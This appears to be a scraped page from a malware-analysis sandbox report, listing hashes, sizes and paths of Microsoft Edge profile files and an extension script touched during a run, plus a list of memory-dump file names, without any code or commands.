SSDEEP 768:Bhj+9v3yj2FJGkMf5eSC5s25WFbxsz56f0+ynob6b9MNu:B89v36flCy25WkQ5mb+Nu
TLSH
T1ABF2CF31BC168DA35DE79658F25B378BBEF416A3C6C41E88D6DD7B0C0983AAD5307812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 d2074776b8785282778061445a9b4704d1ffebf7eb3b62b1c1f4951db5615812
MD5 007420db77e015f01252c0a119914c4e
SHA1 e943709c5555c481735a2eee07a61f6dcc40097d
SHA512 d0c42b9306a1e4006dd257cc5cef6649319eae0dd59dbdc3963de46f2f22f8056b118f68af4c2eae70f521868b8b3a571bc9be0418ca0fa981b960db6c69b220
SSDEEP 768:/hj+9v3vj2FJGkMf5eSC5s25WFbxsz56f0+ynob6b9MNu:/89v3vflCy25WkQ5mb+Nu
TLSH
T188F2CF31BC164DA35DE79698F25B378BBEF416A3C6C41D88D6DD7B0C0983A9D5307812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 5eeddbaf984e65cd30746c9b3f6ec290b595ae4d91248bed100c39a46ed92293
MD5 848f98e038b389b7d26c13b8cfedfae4
SHA1 e72c064a3be17fb620a26114a0409b2857c1e528
SHA512 5cfe675764273682a7c4b7066ce9653dd36dbab8cb9bbe457dbe69b3fcd180d29df2f4cc87e2ccfdc7a46dd72c392f261e86750d5257311ebe0cfefb4408b7b5
SSDEEP 768:Nirv+4UNbdl3/a4JGkMf5eSC5se5WFbxsz56f0+ynob6Uixt:Nibsbr3mflCye5WkQ5mUo
TLSH
T1C603C031E82989B35DF7D645F28B36877FB815A3D9C10E98C9D96B0C068759E270BC13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1649063268\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/252-386-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/476-442-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/480-430-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1128-366-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1632-333-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1912-406-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2076-329-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2204-463-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3040-245-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3560-273-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4356-285-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4416-315-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4464-198-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4576-467-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4832-492-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4884-431-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4884-426-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5452-353-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5604-325-0x0000000000010000-0x0000000000083000-memory.dmp

Download